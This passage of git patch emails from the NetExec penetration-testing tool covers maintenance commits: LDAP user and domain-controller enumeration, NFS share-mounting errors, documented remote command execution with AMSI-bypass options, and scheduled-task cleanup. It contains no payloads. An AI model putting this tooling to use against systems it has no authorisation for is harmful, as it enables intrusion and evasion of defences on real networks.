str(item.get("pwdLastSet")) != "0" else "0") + pwdcount = item.get("pwdcount") if item.get("pwdcount") else "" + description = item.get("description") if item.get("description") else "" if sAMAccountName.lower() in activeusers: - self.logger.highlight(f"{sAMAccountName:<30}{parsed_pw_last_set:<20}{pwdcount:<8}{description}") - + self.logger.highlight(f"{sAMAccountName:<30}{pwd_last_set:<20}{pwdcount:<8}{description}") return + self.logger.display(f"Total records returned: {len(activeusers)}, total {len(allusers) - len(activeusers)} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(argsusers)}, Total {len(allusers) - len(activeusers)} user(s) disabled") self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") for arguser in argsusers: - pwd_last_set = arguser.get("pwdLastSet", "") # Retrieves pwdLastSet directly and defaults to an empty string. - parsed_pw_last_set = pwd_last_set_func(pwd_last_set) + # Retrieves pwdLastSet directly and defaults to an empty string. + pwd_last_set = arguser.get("pwdLastSet", "") if arguser.get("pwdLastSet") in ["", None] else ("0" if str(arguser.get("pwdLastSet")) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(arguser.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S"))) if arguser.get("sAMAccountName").lower() in activeusers and arg is False: - self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") + self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") elif (arguser.get("sAMAccountName").lower() not in activeusers) and arg is True: - self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") + self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{pwd_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") elif (arguser.get("sAMAccountName").lower() in activeusers): - self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") + self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") def asreproast(self): if self.password == "" and self.nthash == "" and self.kerberos is False: From f4617f64368188464e0d97517d003b26d9a84b4f Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Mon, 21 Oct 2024 22:02:05 +0300 Subject: [PATCH 057/376] removed unused timedelta Signed-off-by: termanix <50464194+termanix@users.noreply.github.com> --- nxc/protocols/ldap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index ee0c91b3..956c9547 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -5,7 +5,7 @@ import hmac import os import socket from binascii import hexlify -from datetime import datetime, timedelta +from datetime import datetime from re import sub, I from zipfile import ZipFile from termcolor import colored From a1bb4ee0dfabb49c30985a3b33d95b4783cc8b32 Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Mon, 21 Oct 2024 22:05:51 +0300 Subject: [PATCH 058/376] update ldap_results for now --- nxc/parsers/ldap_results.py | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/nxc/parsers/ldap_results.py b/nxc/parsers/ldap_results.py index b9a68c83..ac77f6ec 100644 --- a/nxc/parsers/ldap_results.py +++ b/nxc/parsers/ldap_results.py @@ -7,8 +7,13 @@ def parse_result_attributes(ldap_response): if not isinstance(entry, ldapasn1_impacket.SearchResultEntry): continue attribute_map = {} - for attribute in entry["attributes"]: - val = [str(val).encode(val.encoding).decode("utf-8") for val in attribute["vals"].components] - attribute_map[str(attribute["type"])] = val if len(val) > 1 else val[0] - parsed_response.append(attribute_map) + if not entry["attributes"]: + if "objectName" in entry: + # Extract the username from the objectName + parsed_response.append({"objectName": str(entry["objectName"]), "sAMAccountName": str(entry["objectName"]).split(",")[0].split("=")[1]}) + else: + for attribute in entry["attributes"]: + val = [str(val).encode(val.encoding).decode("utf-8") for val in attribute["vals"].components] + attribute_map[str(attribute["type"])] = val if len(val) > 1 else val[0] + parsed_response.append(attribute_map) return parsed_response \ No newline at end of file From 623bfd9fe2222c727c3968f57ac17205e232b738 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 22 Oct 2024 10:32:34 -0400 Subject: [PATCH 059/376] Fix linting --- nxc/netexec.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/netexec.py b/nxc/netexec.py index e43794e8..16280d19 100755 --- a/nxc/netexec.py +++ b/nxc/netexec.py @@ -174,7 +174,7 @@ def main(): nxc_logger.display(f"{module} module options:\n{modules[module]['options']}") exit(0) elif args.show_module_options: - nxc_logger.error(f"--options requires -M/--module") + nxc_logger.error("--options requires -M/--module") exit(1) elif args.module: # Check the modules for sanity before loading the protocol From 8e421046d18c870bd7aeedd75e922e09728d77d3 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 22 Oct 2024 11:44:28 -0400 Subject: [PATCH 060/376] Remove obsolete code --- nxc/connection.py | 3 ++- nxc/protocols/ftp.py | 4 +--- nxc/protocols/ldap.py | 1 - nxc/protocols/mssql.py | 1 - nxc/protocols/nfs.py | 1 - nxc/protocols/rdp.py | 6 ------ nxc/protocols/smb.py | 1 - nxc/protocols/ssh.py | 1 - nxc/protocols/winrm.py | 2 -- nxc/protocols/wmi.py | 1 - 10 files changed, 3 insertions(+), 18 deletions(-) diff --git a/nxc/connection.py b/nxc/connection.py index 527e93e6..8df5cb95 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -229,7 +229,8 @@ class connection: else: self.logger.debug("Created connection object") self.enum_host_info() - if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")): + self.print_host_info() + if self.login() or (self.username == "" and self.password == ""): if hasattr(self.args, "module") and self.args.module: self.load_modules() self.logger.debug("Calling modules") diff --git a/nxc/protocols/ftp.py b/nxc/protocols/ftp.py index 4a576cbe..859f2d03 100644 --- a/nxc/protocols/ftp.py +++ b/nxc/protocols/ftp.py @@ -24,7 +24,7 @@ class ftp(connection): def proto_flow(self): self.proto_logger() - if self.create_conn_obj() and self.enum_host_info() and self.print_host_info() and self.login(): + if self.create_conn_obj() and self.login(): if hasattr(self.args, "module") and self.args.module: self.load_modules() self.logger.debug("Calling modules") @@ -38,11 +38,9 @@ class ftp(connection): self.logger.debug(f"Welcome result: {welcome}") self.remote_version = welcome.split("220", 1)[1].strip() # strip out the extra space in the front self.logger.debug(f"Remote version: {self.remote_version}") - return True def print_host_info(self): self.logger.display(f"Banner: {self.remote_version}") - return True def create_conn_obj(self): self.conn = FTP() diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 7780a5b1..dc6e9f76 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -312,7 +312,6 @@ class ldap(connection): smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"]) self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})") self.logger.extra["protocol"] = "LDAP" - return True def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): self.username = username diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 61ce3f73..a7dac3b1 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -141,7 +141,6 @@ class mssql(connection): def print_host_info(self): self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})") - return True @reconnect_mssql def kerberos_login( diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 86e5617d..848ca1be 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -69,7 +69,6 @@ class nfs(connection): def print_host_info(self): self.logger.display(f"Target supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)})") - return True def disconnect(self): """Disconnect mount and portmap if they are connected""" diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index 54595aeb..f6d01d6e 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -81,11 +81,6 @@ class rdp(connection): connection.__init__(self, args, db, host) - # def proto_flow(self): - # if self.create_conn_obj(): - # if self.login() or (self.username == '' and self.password == ''): - # if hasattr(self.args, 'module') and self.args.module: - def proto_logger(self): import platform if platform.python_version() in ["3.11.5", "3.11.6", "3.12.0"]: @@ -112,7 +107,6 @@ class rdp(connection): self.logger.display(f"Probably old, doesn't not support HYBRID or HYBRID_EX ({nla})") else: self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({nla})") - return True def create_conn_obj(self): self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 27681609..0738c196 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -312,7 +312,6 @@ class smb(connection): signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"]) smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"]) self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})") - return True def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): self.logger.debug(f"KDC set to: {kdcHost}") diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py index c5afab97..ce0d965c 100644 --- a/nxc/protocols/ssh.py +++ b/nxc/protocols/ssh.py @@ -55,7 +55,6 @@ class ssh(connection): def print_host_info(self): self.logger.display(self.remote_version if self.remote_version != "Unknown SSH Version" else f"{self.remote_version}, skipping...") - return True def enum_host_info(self): if self.conn._transport.remote_version: diff --git a/nxc/protocols/winrm.py b/nxc/protocols/winrm.py index 77796b4a..ea3dee3a 100644 --- a/nxc/protocols/winrm.py +++ b/nxc/protocols/winrm.py @@ -72,8 +72,6 @@ class winrm(connection): self.logger.extra["port"] = self.port self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})") - return True - def create_conn_obj(self): if self.is_link_local_ipv6: self.logger.fail("winrm not support link-local ipv6, exiting...") diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 043b9518..caf9fd8c 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -146,7 +146,6 @@ class wmi(connection): self.logger.extra["protocol"] = "RPC" self.logger.extra["port"] = "135" self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})") - return True def check_if_admin(self): try: From 7f3233008d952f6756a8dfbb781922c90ff911c6 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 22 Oct 2024 15:27:23 -0400 Subject: [PATCH 061/376] Replace None/False return values with empty list to prevent crashes --- nxc/protocols/smb.py | 38 +++++++++++++++++++++++++++++++++----- 1 file changed, 33 insertions(+), 5 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 0738c196..a4d599be 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -618,7 +618,20 @@ class smb(connection): relay_list.write(self.host + "\n") @requires_admin - def execute(self, payload=None, get_output=False, methods=None): + def execute(self, payload=None, get_output=False, methods=None) -> list: + """ + Executes a command on the target host using CMD.exe and the specified method(s). + + Args: + ---- + payload (str): The command to execute + get_output (bool): Whether to get the output of the command (can be useful for AV evasion) + methods (list): The method(s) to use for command execution + + Returns: + ------- + list: A list containing the lines of the output of the command + """ if self.args.exec_method: methods = [self.args.exec_method] if not methods: @@ -752,7 +765,7 @@ class smb(connection): if "This script contains malicious content" in output: self.logger.fail("Command execution blocked by AMSI") - return None + return [] if (self.args.execute or self.args.ps_execute): self.logger.success(f"Executed command via {current_method}") @@ -763,14 +776,29 @@ class smb(connection): return output else: self.logger.fail(f"Execute command failed with {current_method}") - return False + return [] @requires_admin - def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False): + def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False) -> list: + """ + Wrapper for executing a PowerShell command on the target host. This still uses the execute() method internally, but + creates a PowerShell command together with possible AMSI bypasses and other options. + + Args: + ---- + payload (str): The PowerShell command to execute OR the path to a file containing PowerShell commands + get_output (bool): Whether to get the output of the command (can be useful for AV evasion) + methods (list): The method(s) to use for command execution + force_ps32 (bool): Whether to force 32-bit PowerShell + + Returns: + ------- + list: A list containing the lines of the output of the command + """ payload = self.args.ps_execute if not payload and self.args.ps_execute else payload if not payload: self.logger.error("No command to execute specified!") - return None + return [] response = [] obfs = obfs if obfs else self.args.obfs From b5e9f1f069ab81919b790e8c33695cf8279f8b1b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 22 Oct 2024 15:34:21 -0400 Subject: [PATCH 062/376] Replace False return values with empty list to prevent crashes --- nxc/protocols/ldap.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index dc6e9f76..a27d70fb 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -693,7 +693,7 @@ class ldap(connection): t /= 10000000 return t - def search(self, searchFilter, attributes, sizeLimit=0): + def search(self, searchFilter, attributes, sizeLimit=0) -> list: try: if self.ldapConnection: self.logger.debug(f"Search Filter={searchFilter}") @@ -713,8 +713,8 @@ class ldap(connection): e.getAnswers() else: self.logger.fail(e) - return False - return False + return [] + return [] def users(self): """ From a382fbd492de108ccc9f8ff6661f16029ce57c7e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 22 Oct 2024 15:40:49 -0400 Subject: [PATCH 063/376] Execute should always return a string not a list --- nxc/protocols/smb.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index a4d599be..64d7d58e 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -618,7 +618,7 @@ class smb(connection): relay_list.write(self.host + "\n") @requires_admin - def execute(self, payload=None, get_output=False, methods=None) -> list: + def execute(self, payload=None, get_output=False, methods=None) -> str: """ Executes a command on the target host using CMD.exe and the specified method(s). @@ -630,7 +630,7 @@ class smb(connection): Returns: ------- - list: A list containing the lines of the output of the command + str: The output of the command """ if self.args.exec_method: methods = [self.args.exec_method] @@ -765,7 +765,7 @@ class smb(connection): if "This script contains malicious content" in output: self.logger.fail("Command execution blocked by AMSI") - return [] + return "" if (self.args.execute or self.args.ps_execute): self.logger.success(f"Executed command via {current_method}") @@ -776,7 +776,7 @@ class smb(connection): return output else: self.logger.fail(f"Execute command failed with {current_method}") - return [] + return "" @requires_admin def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False) -> list: From 9e6ba5a4c046deef456df1d06ea1337558e4df03 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Wed, 23 Oct 2024 15:59:39 -0400 Subject: [PATCH 064/376] fix: check if status is 13 and print out permission denied for share --- nxc/protocols/nfs.py | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 848ca1be..d569f3d1 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -224,7 +224,15 @@ class nfs(connection): for share, network in zip(shares, networks): try: mount_info = self.mount.mnt(share, self.auth) - contents = self.list_dir(mount_info["mountinfo"]["fhandle"], share, self.args.enum_shares) + self.logger.debug(f"Mounted {share} - {mount_info}") + if mount_info["status"] != 0: # noqa: SIM102 + if mount_info["status"] == 13: + self.logger.fail(f"{share} - Permission Denied") + continue + # check for other error codes here + + fhandle = mount_info["mountinfo"]["fhandle"] + contents = self.list_dir(fhandle, share, self.args.enum_shares) self.logger.success(share) if contents: From 1b495cd3727385f05c762fa3bc5e0c355566741f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 23 Oct 2024 17:56:57 -0400 Subject: [PATCH 065/376] Use the status codes defined in the rfc when we have an error with mounting shares --- nxc/protocols/nfs.py | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index d569f3d1..ccaceba4 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -170,6 +170,10 @@ class nfs(connection): for share, network in zip(shares, networks): try: mnt_info = self.mount.mnt(share, self.auth) + self.logger.debug(f"Mounted {share} - {mnt_info}") + if mnt_info["status"] != 0: + self.logger.fail(f"Error mounting share {share}: {NFSSTAT3[mnt_info['status']]}") + continue file_handle = mnt_info["mountinfo"]["fhandle"] info = self.nfs3.fsstat(file_handle, self.auth) @@ -225,12 +229,10 @@ class nfs(connection): try: mount_info = self.mount.mnt(share, self.auth) self.logger.debug(f"Mounted {share} - {mount_info}") - if mount_info["status"] != 0: # noqa: SIM102 - if mount_info["status"] == 13: - self.logger.fail(f"{share} - Permission Denied") - continue - # check for other error codes here - + if mount_info["status"] != 0: + self.logger.fail(f"Error mounting share {share}: {NFSSTAT3[mount_info['status']]}") + continue + fhandle = mount_info["mountinfo"]["fhandle"] contents = self.list_dir(fhandle, share, self.args.enum_shares) From 92c892fd410c6cc7d927bc56c3676ae3a09d2647 Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Mon, 28 Oct 2024 15:57:47 +0200 Subject: [PATCH 066/376] Update dc-list Signed-off-by: termanix <50464194+termanix@users.noreply.github.com> --- nxc/protocols/ldap.py | 59 +++++++++++++++++++++++++++++++------------ 1 file changed, 43 insertions(+), 16 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index a27d70fb..f92e8396 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -3,7 +3,7 @@ import hashlib import hmac import os -import socket +import dns.resolver from binascii import hexlify from datetime import datetime, timedelta from re import sub, I @@ -790,27 +790,54 @@ class ldap(connection): def dc_list(self): # Building the search filter + resolver = dns.resolver.Resolver() + resolver.nameservers = [self.host] + search_filter = "(&(objectCategory=computer)(primaryGroupId=516))" attributes = ["dNSHostName"] resp = self.search(search_filter, attributes, 0) + resp_parse = parse_result_attributes(resp) - for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - name = "" + for item in resp_parse: + name = item.get("dNSHostName", "") # Get dNSHostName attribute or empty string try: - for attribute in item["attributes"]: - if str(attribute["type"]) == "dNSHostName": - name = str(attribute["vals"][0]) - try: - ip_address = socket.gethostbyname(name.split(".")[0]) - if ip_address is not True and name != "": - self.logger.highlight(f"{name} = {colored(ip_address, host_info_colors[0])}") - except socket.gaierror: - self.logger.fail(f"{name} = Connection timeout") + # Resolve using DNS server for A, AAAA, CNAME, PTR, and NS records + if name: + found_record = False # Flag to check if any record is found + + for record_type in ["A", "AAAA", "CNAME", "PTR", "NS"]: + if found_record: + break # If a record has been found, stop checking further + + try: + answers = resolver.resolve(name, record_type) + for rdata in answers: + if record_type in ["A", "AAAA"]: + ip_address = rdata.to_text() + self.logger.highlight(f"{name} = {colored(ip_address, host_info_colors[0])}") + found_record = True # Set flag to true since a record is found + elif record_type == "CNAME": + self.logger.highlight(f"{name} CNAME = {colored(rdata.to_text(), host_info_colors[0])}") + found_record = True + elif record_type == "PTR": + self.logger.highlight(f"{name} PTR = {colored(rdata.to_text(), host_info_colors[0])}") + found_record = True + elif record_type == "NS": + self.logger.highlight(f"{name} NS = {colored(rdata.to_text(), host_info_colors[0])}") + found_record = True + except dns.resolver.NXDOMAIN: + self.logger.fail(f"{name} = Host not found (NXDOMAIN)") + except dns.resolver.Timeout: + self.logger.fail(f"{name} = Connection timed out") + except dns.resolver.NoAnswer: + self.logger.fail(f"{name} = DNS server did not respond") + except Exception as e: + self.logger.fail(f"{name} encountered an unexpected error: {e}") + else: + self.logger.fail("dNSHostName value is empty, unable to process.") except Exception as e: - self.logger.fail("Exception:", exc_info=True) - self.logger.fail(f"Skipping item, cannot process due to error {e}") + self.logger.fail("General Error:", exc_info=True) + self.logger.fail(f"Skipping item(dNSHostName) {name}, error: {e}") def active_users(self): if len(self.args.active_users) > 0: From c66ab1af61e2e8d1840a800e4ca2685a4449bb81 Mon Sep 17 00:00:00 2001 From: Kahvi-0xFF <46513413+Kahvi-0@users.noreply.github.com> Date: Thu, 31 Oct 2024 18:42:34 -0400 Subject: [PATCH 067/376] schtask_as.py - Delete task when there is an error Signed-off-by: Kahvi-0xFF <46513413+Kahvi-0@users.noreply.github.com> --- nxc/modules/schtask_as.py | 28 +++++++++++++++++++++++----- 1 file changed, 23 insertions(+), 5 deletions(-) diff --git a/nxc/modules/schtask_as.py b/nxc/modules/schtask_as.py index 3361a12b..194111f0 100644 --- a/nxc/modules/schtask_as.py +++ b/nxc/modules/schtask_as.py @@ -91,7 +91,7 @@ class NXCModule: except Exception as e: if "SCHED_S_TASK_HAS_NOT_RUN" in str(e): self.logger.fail("Task was not run, seems like the specified user has no active session on the target") - + exec_method.deleteartifact() class TSCH_EXEC: def __init__(self, target, share_name, username, password, domain, user, cmd, file, task, location, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None): @@ -143,6 +143,18 @@ class TSCH_EXEC: ) self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + def deleteartifact(self): + dce = self.__rpctransport.get_dce_rpc() + if self.__doKerberos: + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + dce.set_credentials(*self.__rpctransport.get_credentials()) + dce.connect() + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + dce.bind(tsch.MSRPC_UUID_TSCHS) + self.logger.display(f"Deleting task \\{tmpName}") + tsch.hSchRpcDelete(dce, f"\\{tmpName}") + dce.disconnect() + def execute(self, command, output=False): self.__retOutput = output self.execute_handler(command) @@ -223,7 +235,9 @@ class TSCH_EXEC: return xml def execute_handler(self, command, fileless=False): + global tmpName dce = self.__rpctransport.get_dce_rpc() + if self.__doKerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) @@ -243,19 +257,23 @@ class TSCH_EXEC: except Exception as e: if "ERROR_NONE_MAPPED" in str(e): self.logger.fail(f"User {self.user} is not connected on the target, cannot run the task") + tsch.hSchRpcDelete(dce, f"\\{tmpName}") if e.error_code and hex(e.error_code) == "0x80070005": self.logger.fail("Schtask_as: Create schedule task got blocked.") + tsch.hSchRpcDelete(dce, f"\\{tmpName}") if "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e): self.logger.fail(f"User {self.user} does not exist in the domain.") + tsch.hSchRpcDelete(dce, f"\\{tmpName}") + if "SCHED_S_TASK_HAS_NOT_RUN" in str(e): + tsch.hSchRpcDelete(dce, f"\\{tmpName}") else: self.logger.fail(f"Schtask_as: Create schedule task failed: {e}") + tsch.hSchRpcDelete(dce, f"\\{tmpName}") return else: - taskCreated = True - + taskCreated = True self.logger.info(f"Running task \\{tmpName}") - tsch.hSchRpcRun(dce, f"\\{tmpName}") - + tsch.hSchRpcRun(dce, f"\\{tmpName}") done = False while not done: self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{tmpName}") From 9c17cf9bb2f47eeda60425d994d1cd933c29b074 Mon Sep 17 00:00:00 2001 From: Kahvi-0xFF <46513413+Kahvi-0@users.noreply.github.com> Date: Thu, 31 Oct 2024 19:02:50 -0400 Subject: [PATCH 068/376] Update schtask_as.py Signed-off-by: Kahvi-0xFF <46513413+Kahvi-0@users.noreply.github.com> --- nxc/modules/schtask_as.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/nxc/modules/schtask_as.py b/nxc/modules/schtask_as.py index 194111f0..00bf1398 100644 --- a/nxc/modules/schtask_as.py +++ b/nxc/modules/schtask_as.py @@ -91,7 +91,7 @@ class NXCModule: except Exception as e: if "SCHED_S_TASK_HAS_NOT_RUN" in str(e): self.logger.fail("Task was not run, seems like the specified user has no active session on the target") - exec_method.deleteartifact() + #exec_method.deleteartifact() class TSCH_EXEC: def __init__(self, target, share_name, username, password, domain, user, cmd, file, task, location, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None): @@ -266,6 +266,8 @@ class TSCH_EXEC: tsch.hSchRpcDelete(dce, f"\\{tmpName}") if "SCHED_S_TASK_HAS_NOT_RUN" in str(e): tsch.hSchRpcDelete(dce, f"\\{tmpName}") + if "ERROR_ALREADY_EXISTS" in str(e): + self.logger.fail(f"Schtask_as: Create schedule task failed: {e}") else: self.logger.fail(f"Schtask_as: Create schedule task failed: {e}") tsch.hSchRpcDelete(dce, f"\\{tmpName}") From dc61428a0ef7a425f09a33df013d2eb121a56454 Mon Sep 17 00:00:00 2001 From: Kahvi-0xFF <46513413+Kahvi-0@users.noreply.github.com> Date: Thu, 31 Oct 2024 19:04:16 -0400 Subject: [PATCH 069/376] Update schtask_as.py Signed-off-by: Kahvi-0xFF <46513413+Kahvi-0@users.noreply.github.com> --- nxc/modules/schtask_as.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/schtask_as.py b/nxc/modules/schtask_as.py index 00bf1398..fcb09057 100644 --- a/nxc/modules/schtask_as.py +++ b/nxc/modules/schtask_as.py @@ -91,7 +91,7 @@ class NXCModule: except Exception as e: if "SCHED_S_TASK_HAS_NOT_RUN" in str(e): self.logger.fail("Task was not run, seems like the specified user has no active session on the target") - #exec_method.deleteartifact() + exec_method.deleteartifact() class TSCH_EXEC: def __init__(self, target, share_name, username, password, domain, user, cmd, file, task, location, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None): From bab8acbf4dd351040d5a94219afedc24f469d4fb Mon Sep 17 00:00:00 2001 From: Kahvi-0xFF <46513413+Kahvi-0@users.noreply.github.com> Date: Thu, 31 Oct 2024 19:18:16 -0400 Subject: [PATCH 070/376] Update schtask_as.py Signed-off-by: Kahvi-0xFF <46513413+Kahvi-0@users.noreply.github.com> --- nxc/modules/schtask_as.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/schtask_as.py b/nxc/modules/schtask_as.py index fcb09057..8f0c707f 100644 --- a/nxc/modules/schtask_as.py +++ b/nxc/modules/schtask_as.py @@ -273,7 +273,7 @@ class TSCH_EXEC: tsch.hSchRpcDelete(dce, f"\\{tmpName}") return else: - taskCreated = True + taskCreated = True self.logger.info(f"Running task \\{tmpName}") tsch.hSchRpcRun(dce, f"\\{tmpName}") done = False From 841f9d8fd005a72dc59c25829acf00c96cc9a566 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sun, 3 Nov 2024 22:02:51 +0100 Subject: [PATCH 071/376] add generate_hosts_file option for lab --- nxc/protocols/smb.py | 6 ++++++ nxc/protocols/smb/proto_args.py | 1 + 2 files changed, 7 insertions(+) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 64d7d58e..28d7d0a3 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -313,6 +313,12 @@ class smb(connection): smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"]) self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})") + if self.args.generate_hosts_file: + with open(self.args.generate_hosts_file, "a+") as host_file: + host_file.write(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain}\n") + + return self.host, self.hostname, self.targetDomain + def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): self.logger.debug(f"KDC set to: {kdcHost}") lmhash = "" diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 35dd8fe2..c4e67fcd 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -19,6 +19,7 @@ def proto_args(parser, parents): smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file") smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2) smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator") + smb_parser.add_argument("--generate-hosts-file", type=str, help="IP for the remote system to connect back to") self_delegate_arg.make_required = [delegate_arg] cred_gathering_group = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials") From c294219b7a0aff0dc30f86bd9374c4695e350db5 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sun, 3 Nov 2024 22:08:51 +0100 Subject: [PATCH 072/376] add tests --- 